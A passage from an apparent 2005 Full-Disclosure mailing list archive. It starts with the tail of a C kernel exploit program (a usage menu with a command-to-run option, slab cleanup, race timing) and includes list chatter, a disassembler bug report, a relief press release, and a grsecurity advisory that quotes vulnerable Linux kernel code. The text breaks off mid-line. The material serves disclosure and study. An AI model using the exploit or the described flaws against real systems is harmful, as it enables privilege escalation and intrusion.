		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
	}
	signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
	printf("\nUsage: %s\t-f forced stop\n", n);
	printf("\t\t-s silent mode\n");
	printf("\t\t-c command to run\n");
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-d race delta us\n");
	printf("\t\t-w wait time seconds\n");
	printf("\t\t-l alternate lib name\n");
	printf("\t\t-a alternate addr hex\n");
	printf("\n");
	_exit(1);
}


//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

	while(ac) {
		r = getopt(ac, av, "n:l:a:w:c:d:fsh");
		if(r<0) break;

		switch(r) {

		case 'f' :
			fstop = 1;
			break;

		case 's' :
			silent = 1;
			break;

		case 'n' :
			smp_max = atoi(optarg);
			break;

		case 'd':
			if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
				fatal("bad delta value", 0);
			break;

		case 'w' :
			wtime = atoi(optarg);
			if(wtime<0) fatal("bad wait value", 0);
			break;

		case 'l' :
			libname = strdup(optarg);
			break;

		case 'c' :
			shellname = strdup(optarg);
			break;

		case 'a' :
			if(1!=sscanf(optarg, "%x", &map_base))
				fatal("bad addr value", 0);
			map_base &= ~(PGD_SIZE-1);
			break;

		case 'h' :
		default:
			usage(av[0]);
			break;
		}
	}

//	basic setup
	uid = getuid();
	setpgrp();
	wipe_slab();
	prepare();

return 0;
}

From kf_lists at digitalmunition.com  Fri Jan  7 15:50:14 2005
From: kf_lists at digitalmunition.com (KF (lists))
Date: Fri, 07 Jan 2005 10:50:14 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
In-Reply-To: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com>
References: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com>
Message-ID: <41DEAFB6.3000506@digitalmunition.com>

I love how the icon for this product is a big Target. Very appropreate. 
Anyone wanna takes bets on how long it takes for someone to find a hole 
in the Spynet p2p functions of this beast, what port is that listening 
on again?
*grin*
-KF

James Patterson Wicks wrote:

> We knew that Microsoft was going to put out an anti-spyware product 
> after they bought Giant in December, but I did not figure they could 
> re-brand Giant?s software in under a month. Their first shot at 
> anti-spyware came out today ? Microsoft AntiSpyware (Beta). I 
> installed it on a test machine that I have in the office. Just to be 
> safe, I ran a full Spybot S&D scan and then uninstalled the resident 
> TEA program since Microsoft AntiSpyware will install an agent if you 
> so wish. The only part of the installation that was strange was the 
> ?recommended? option of joining the ?Spynet AntiSpyware Community? 
> their ?Spyware Neighborhood Watch? that connects you to other 
> computers running the Microsoft AntiSpyware software. Don?t know how 
> many people will choose that option, but to me it does not make sense 
> to connect to a peer-to-peer network of infected computers, encrypted 
> traffic or not.
>
> I ran a full system scan and to my surprise, the software found some 
> old Timbuktu and Dameware DLL?s that I thought were uninstalled a year 
> ago. Were the files harmful? The tool stated that the Dameware files 
> were low risk, but the Timbuktu files were high risk. The tool also 
> found ?iLookup.GlobalWebSearch Browser Hijacker?, ?StartNow Hyperbar 
> Toolbar? and a bunch of ?MiniBug? instances. I was somewhat surprised 
> since my machine was ?clean? already. I then set up two lab desktops 
> and applied the same clean image on both of them (no anti-virus or 
> firewall installed). I then used IE to surf to the first ten sites 
> Google brought up when searching for ?online gambling? sites. I then 
> ran full system scans using Microsoft AntiSpyware on one desktop and 
> Spybot S&D on the other machine. Spybot found 65 objects, the 
> Microsoft tool found 92 objects. The results were similar except that 
> the Microsoft tool found a few more cookies, a bunch of minibugs and 
> something called ?SearchSquire.?
>
> While this was just a quick test to satisfy my curiosity about the 
> Microsoft tool, my initial feeling is that the Microsoft AntiSpyware 
> is worth a test deployment in the office. This beta expires in July. 
> Hopefully the final version will be free and allow for centralized 
> domain management. It?s the least that Microsoft can do.
>
> Pat Wicks
>
> Systems and Network Engineer
>



From thierry.haven at xmcopartners.com  Fri Jan  7 11:58:48 2005
From: thierry.haven at xmcopartners.com (Thierry Haven)
Date: Fri, 07 Jan 2005 12:58:48 +0100
Subject: [Full-Disclosure] Undocumented sun classes
Message-ID: <41DE7978.5040102@xmcopartners.com>

Hi list;

Sun's website states that the sun.* packages are not part of the 
supported, public interface... 
(http://java.sun.com/products/jdk/faq/faq-sun-packages.html)... However, 
i'm looking for security related information about those "undocumented" 
sun.* classes. Does anyone have an idea ?

Thanks for your time !

_______________________________________
Thierry Haven - Xmco Partners
Security Consulting / Pentest
web  : http://www.xmcopartners.com


From kf_lists at digitalmunition.com  Fri Jan  7 16:19:56 2005
From: kf_lists at digitalmunition.com (KF (lists))
Date: Fri, 07 Jan 2005 11:19:56 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
In-Reply-To: <41DEAFB6.3000506@digitalmunition.com>
References: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com>
	<41DEAFB6.3000506@digitalmunition.com>
Message-ID: <41DEB6AC.5090405@digitalmunition.com>

Do a software update check with this thing and you get 
GIANTAntiSpywareMain.exe  listening on port 2571 until the software is 
closed. Feel free to beat on and fuzz that port fellas. =]
-KF

KF (lists) wrote:

> I love how the icon for this product is a big Target. Very 
> appropreate. Anyone wanna takes bets on how long it takes for someone 
> to find a hole in the Spynet p2p functions of this beast, what port is 
> that listening on again?
> *grin*
> -KF
>
> James Patterson Wicks wrote:
>
>> We knew that Microsoft was going to put out an anti-spyware product 
>> after they bought Giant in December, but I did not figure they could 
>> re-brand Giant?s software in under a month. Their first shot at 
>> anti-spyware came out today ? Microsoft AntiSpyware (Beta). I 
>> installed it on a test machine that I have in the office. Just to be 
>> safe, I ran a full Spybot S&D scan and then uninstalled the resident 
>> TEA program since Microsoft AntiSpyware will install an agent if you 
>> so wish. The only part of the installation that was strange was the 
>> ?recommended? option of joining the ?Spynet AntiSpyware Community? 
>> their ?Spyware Neighborhood Watch? that connects you to other 
>> computers running the Microsoft AntiSpyware software. Don?t know how 
>> many people will choose that option, but to me it does not make sense 
>> to connect to a peer-to-peer network of infected computers, encrypted 
>> traffic or not.
>>
>> I ran a full system scan and to my surprise, the software found some 
>> old Timbuktu and Dameware DLL?s that I thought were uninstalled a 
>> year ago. Were the files harmful? The tool stated that the Dameware 
>> files were low risk, but the Timbuktu files were high risk. The tool 
>> also found ?iLookup.GlobalWebSearch Browser Hijacker?, ?StartNow 
>> Hyperbar Toolbar? and a bunch of ?MiniBug? instances. I was somewhat 
>> surprised since my machine was ?clean? already. I then set up two lab 
>> desktops and applied the same clean image on both of them (no 
>> anti-virus or firewall installed). I then used IE to surf to the 
>> first ten sites Google brought up when searching for ?online 
>> gambling? sites. I then ran full system scans using Microsoft 
>> AntiSpyware on one desktop and Spybot S&D on the other machine. 
>> Spybot found 65 objects, the Microsoft tool found 92 objects. The 
>> results were similar except that the Microsoft tool found a few more 
>> cookies, a bunch of minibugs and something called ?SearchSquire.?
>>
>> While this was just a quick test to satisfy my curiosity about the 
>> Microsoft tool, my initial feeling is that the Microsoft AntiSpyware 
>> is worth a test deployment in the office. This beta expires in July. 
>> Hopefully the final version will be free and allow for centralized 
>> domain management. It?s the least that Microsoft can do.
>>
>> Pat Wicks
>>
>> Systems and Network Engineer
>>
>
>



From shadown at gmail.com  Fri Jan  7 16:30:21 2005
From: shadown at gmail.com (shadown)
Date: Fri, 7 Jan 2005 13:30:21 -0300
Subject: [Full-Disclosure] ndisasm bad opcodes interpretation
Message-ID: <d8360fbf0501070830475ef080@mail.gmail.com>

Hi,

not a vulnerability but could be a headache while reverse ingineering
or binary auditing/interpreting, etc. (ok anything related with
disassembling)
get wrong values.

shadown at twister:/tmp$ ndisasm -b32 salida
00000000 49 dec ecx
00000001 6E outsb
00000002 7465 jz 0x69
00000004 6C insb
00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si
0000000A 6C insb
0000000B 207072 and [eax+0x72],dh
0000000E 6F outsd
0000000F 7065 jo 0x76
00000011 7274 jc 0x87
00000013 7920 jns 0x35
00000015 6F outsd
00000016 66204968 o16 and [ecx+0x68],cl
0000001A 61 popa
0000001B 51 push ecx
0000001C 7565 jnz 0x83
0000001E 52 push edx
0000001F 00 db 0x00
shadown at twister:/tmp$ ndisasm -V
NDISASM version 0.98.38 compiled Jan 7 2005
shadown at twister:/tmp$

i.e:
0000001C 7565 jnz 0x83
sould had been jnz 0x65

I've just tested ndisasm 0.98.36 and 0.98.38

cheers.
shadown
-- 
Sergio Alvarez
Security, Research & Development
IT Security Consultant
email: shadown at gmail.com

This message is confidential. It may also contain information that is
privileged or otherwise legally exempt from disclosure. If you have
received it by mistake please let us know by e-mail immediately and
delete it from your system; should also not copy the message nor
disclose its contents to anyone. Many thanks.


From synackrst at gmail.com  Fri Jan  7 17:27:29 2005
From: synackrst at gmail.com (synackrst)
Date: Fri, 7 Jan 2005 11:27:29 -0600
Subject: [Full-Disclosure] Press Release Survivor Location Assistance Project
Message-ID: <714b796305010709276beba0b8@mail.gmail.com>

FOR IMMEDIATE RELEASE
CONTACT:
North America:
B.K. DeLong
Media Liaison
The Hacker Foundation
telephone: +1.617.797.2472
Christian Wright
Media Liaison
Packetstorm Security
telephone: +1.312.399.5064
Europe:
Emerson Tan
Director
Packetstorm Security
telephone: +44.781.456.8265
e-mail: press at survivorlocationassistance.org
THE HACKER FOUNDATION RELEASES SURVIVOR LOCATION ASSISTANCE PROJECT
Organization distributes software as open-source and centralizes
tracking of disaster victims.
http://www.survivorlocationassistance.org -- 6 January 2005 -- The
Hacker Foundation (THF) is pleased to
announce the creation of the Survivor Location Assistance (SLA)
project, a globally accessible web-based
database system designed to help survivors, relatives, internally
displaced people, and aid agencies connect
with one another and to facilitate & coordinate the need to track all
victims of disasters around the world.
SLA's first application is now live and awaiting new entries - South
Asian Tsunami - Survivor Location
Assistance (SAT-SLA). The system is running on hardware donated by
Packetstorm Security and on
network connectivity provided by Asylum Networks Inc.
The SLA project encourages the myriad of web sites and organizations
currently maintaining lists of
survivors, Internally Displaced People & the missing to contribute
their dataset to the SAT-SLA database.
Hospitals, aid agencies, & NGOs are also encouraged to share their
registration information to ensure
relatives of survivors are notified in a fast & timely manner that
their loved ones are safe & alive.
"The SLA project is why The Hacker Foundation was created," said THF
President and Co-founder Jesse
Krembs. "to bring useful technological resources to people in need.
Our staff of volunteers has done an
amazing job putting together a tool in such a short amount of time
that can not only be used in this crisis,
but hopefully for any humanitarian need."
On the SLA Web site, users can add a new entry with identifying
information about a person, or search the
database to see if their relative has been located. By the end of 1Q
2005, THF and the SLA project hope to
publicly release the source code for the system and begin fostering a
development community around the
open source solution. Those interested in making use of software more
immediately can email the project at
support at survivorlocationassistance.org . The SLA web site is located at
http://www.survivorlocationassistance.org .
"THF is releasing the SLA backend to anyone who requests it & opening
our survivor data to the public,"
said Emerson Tan, Director of Packetstorm Security. "As more of the
world gets connected via the Internet,
we believe the SLA project has global potential to be used in tracking
IDPs, thwarting the child slavetrading
of orphans from such disasters, and assisting aid agencies & NGOs
responding to humanitarian
efforts similar to those in the Darfur region of Sudan."
The SLA project is also seeking translation assistance for its web
site, database and other resources to
ensure global access and usability.
"The world has many different languages," said THF's Krembs. "and
disasters do not discriminate. We
hope, with volunteer help, to be able to offer our information in
Thai, Sinhala and other native tongues of
those effected by the tsunami."
About The Hacker Foundation
The Hacker Foundation (THF) is a non-profit organization dedicated to
establishing and maintaining a
research & service organization to promote & explore the creative use
of technological resources. Visit the
Hacker Foundation web site at http://www.hackerfoundation.org.
About Packetstorm Security
Packetstorm Security is the world's largest free repository of
Internet security information. It is staffed entirely by volunteers
throughout the world and mirrored in many locations. Web site at
http://www.packetstormsecurity.org.
About Asylum Networks
Asylum Networks provides Internet colocation services to customers
with extremely demanding security
requirements. The company operates in five countries (Switzerland,
Luxembourg, Cayman Islands,
Denmark, and the United States) each chosen to address either
financial privacy concerns or provide
excellent connectivity. Asylum Networks' portfolio includes
international banks, financial institutions, and
security-conscious corporations. Please visit them at
http://www.asylum-networks.net.


From danbuk at gmail.com  Fri Jan  7 19:40:55 2005
From: danbuk at gmail.com (DanBUK)
Date: Fri, 07 Jan 2005 19:40:55 +0000
Subject: [Full-Disclosure] Novell WebAcces
In-Reply-To: <1105090924024691@lycos-europe.com>
Message-ID: <TfLdA3Ty.1105126855.9391350.dan@digibox.daemonbox.de>

Hi,
> It seems that this is working on almost every webacces server

Just did a quick google and tried that on a couple of sites but no link
appeared. Does this require authentication??

Cheers,
DanB UK.

DanB UK
London, UK.



From spender at grsecurity.net  Fri Jan  7 17:20:49 2005
From: spender at grsecurity.net (Brad Spengler)
Date: Fri, 7 Jan 2005 12:20:49 -0500
Subject: [Full-Disclosure] [grsec] grsecurity 2.1.0 release / 5 Linux kernel
	advisories
Message-ID: <20050107172049.GA17849@grsecurity.net>

grsecurity 2.1.0 release / Linux Kernel advisories
--------------------------------------------------------------------

Table Of Contents:
1) grsecurity 2.1.0 announcement and changelog
2) Linux Kernel advisory introduction
3) 2.4/2.6 random poolsize sysctl handler integer overflow
4) 2.6 scsi ioctl integer overflow and information leak
5) 2.2/2.4/2.6 moxa serial driver bss overflow
6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS
7) Attachments, including patches for all vulns, a POC for #3, and a
   working exploit for #6

1) grsecurity 2.1.0 announcement and changelog

I'm happy to announce the release of grsecurity 2.1.0.  It is being
released initially for the 2.4.28 and 2.6.10 kernels and will be ported
immediately to the next kernel versions when released.  It can be
downloaded at http://www.grsecurity.net.  We are still actively seeking
sponsorship, so if you benefit from using grsecurity and like the
changes you see in 2.1.0, please consider sponsoring the future
development and maintenance of the project.
Changes in this release include:

* New configuration file for full learning: /etc/grsec/learn_config
* Learning heuristics have been optimized to better detect temporary
  file usage and reduce appropriately.
* Learning heuristics have been modified to weight against reducing
  certain additional important directories.
* User/group ID transitions have been added to the learning system.
  Any subject transitioning to less than 3 different users or 3
  different groups that has CAP_SETUID or CAP_SETGID will have ID
  transitions added.  This is useful to automatically secure
  applications that only transition to one or few users/groups like
  nobody/nogroup.
* /proc/<pid>/* accesses are automatically rewritten as /proc by grlearn
  before being cached and written to disk
* The inherit-based learning usable through the learning configuration
  file is usable through a regular policy as well simply by adding "i"
  instead of "l" to a subject for learning.
* Inheritance is preserved whenever possible across uid/gid changes when
  the role resulting from the uid/gid change is no different from that
  before the change.
* A complete ~95-99% efficient LFU-hash hybrid caching system has been
  added that greatly reduces the number of full object lookups by
  caching the result.  The cache essentially mimics the filesystem
  around where applications are operating: nearly equivalent to having
  an object for every file and directory on the system, but without the
  wasted memory.  The cache is invalidated on creates and deletes that
  cause a change in policy (through policy re-creation) and on renames
  of directories or symlinks.
* Memory usage for non-full learning has been significantly reduced and
  all memory leaks have been plugged.
* A new object mode has been added for hardlinks for more fine-grained
  permissions.  See the sample policy file for information on what
  permissions are required to create a hardlink.  Its corresponding
  audit flag has been added as well.
* Destruction of unused shared memory feature added and included in
  the sysctl framework of grsecurity.  This feature was ported from
  Openwall (http://www.openwall.com/linux).
* A new option was added to the sysctl feature that enables at boot all
  features enabled in the kernel configuration, while allowing them to
  be changed via the sysctl interface until grsec_lock is set.
* Policy statistics have been added to gradm that provide useful,
  security-relevant information on the policy you are loading into the
  kernel.  You can view these statistics when enabling the system by
  running gradm -V -E.
* Interactive performance of full-learning has improved by ~15% by
  reducing the number of context switches caused by grlearn doing small
  disk writes by using a write buffer (writing more once instead of
  less 1000 times) and keeping track of log entry lengths for quicker
  string matching.  A signal handler was added to grlearn so that when
  learning is stopped, the write buffer is flushed to disk.
* Kernel headers are no longer used for gradm
* Updates from the PaX project (http://pax.grsecurity.net)
* Bugfixes for things mentioned on the list, etc

When patching your kernel for the 2.4.28 and 2.6.10 kernels, since they
contain several vulnerabilities, make sure to also apply the secfix
patches located on the website.

2) Linux Kernel advisory introduction

Let me begin by giving you a timeline:

December 15th: I send Linus a mail with a subject line of
"RLIMIT_MEMLOCK bypass with locked stack"
December 27th: The PaX team sends Linus a mail with a subject line of
"2.6.9+ mlockall/expand_down DoS by unprivileged users"
January 2nd: The PaX team resends the previous mail to Linux and Andrew
Morton

Between December 15th and today, Linus has committed many changes to
the kernel.  Between January 2nd and today, Andrew Morton has committed
several changes to the kernel.  3 weeks is a sufficient amount of time
to be able to expect even a reply about a given vulnerability.  A patch
for the vulnerability was attached to the mails, and in the PaX team's
mails, a working exploit as well.  Private notification of
vulnerabilities is a privilege, and when that privilege is abused by not
responding promptly, it deserves to be revoked.

Using 'advanced static analysis': "cd drivers; grep copy_from_user -r ./* |
grep -v sizeof", I discovered 4 exploitable vulnerabilities in a matter
of 15 minutes.  More vulnerabilities were found in 2.6 than in 2.4.
It's a pretty sad state of affairs for Linux security when someone can
find 4 exploitable vulnerabilities in a matter of minutes.  Since there
was no point in sending more vulnerability reports when the first hadn't
even been responded to, I'm including all four of them in this mail, as
well as a POC for the poolsize bug.  The other bugs can have POCs 
written
for just as trivially.  The poolsize bug requires uid 0, but not any
root capabilities.  The scsi and serial bugs depend on the permissions
of their respective devices, and thus can possibly be exploited as
non-root.  The scsi bug in particular has a couple different attack
vectors that I haven't even bothered to investigate.  Some of these bugs
have gone unfixed for several years.

The PaX team discovered the mlockall DoS. It has been fixed in PaX for
2 years.  I have attached their mail and exploit code.

I'd really like to know what's being done about this pitiful trend of
Linux security, where it's 10x as easy to find a vulnerability in the
kernel than it is in any app on the system, where isec releases at
least one critical vulnerability for each kernel version.  I don't see
that the 2.6 development model is doing anything to help this (as the
spectrum of these vulnerabilities demonstrate), by throwing
experimental code into the kernel and claiming it to be "stable".
Hopefully now these vulnerabilities will be fixed in a timely manner.

3) 2.4/2.6 random poolsize sysctl handler integer overflow

In drivers/char/random.c:

at poolsize_strategy():
>        int     len;
        ^ signed integer
>
>        sysctl_poolsize = random_state->poolinfo.POOLBYTES;
>
>        /*
>
>        /*
>         * We only handle the write case, since the read case gets
>         * handled by the default handler (and we don't care if the
>         * write case happens twice; it's harmless).
>         */
>        if (newval && newlen) {
>                len = newlen;
                ^ unsigned int converted to signed
>                if (len > table->maxlen)
                ^ comparison of two signed integers
>                        len = table->maxlen;
>                if (copy_from_user(table->data, newval, len))
                ^ copy_from_user with len possibly > table->maxlen

4) 2.6 scsi ioctl integer overflow and information leak

In drivers/block/scsi_ioctl.c:

at sg_scsi_ioctl():
>        struct request *rq;
>        int err, in_len, out_len, bytes, opcode, cmdlen;
        ^ in_len, out_len are signed int
>        char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE];
>
>        /*
>         * get in an out lengths, verify they don't exceed a page worth of data
>         */
>        if (get_user(in_len, &sic->inlen))
        ^ in_len is user-controlled
>                return -EFAULT;
>        if (get_user(out_len, &sic->outlen))
        ^ out_len is user-controlled
>                return -EFAULT;
>        if (in_len > PAGE_SIZE || out_len > PAGE_SIZE)
        ^ signed int only has upper bound checked
>                return -EINVAL;
>        if (get_user(opcode, sic->data))
>                return -EFAULT;
>        bytes = max(in_len, out_len);
...
>        rq->cmd_le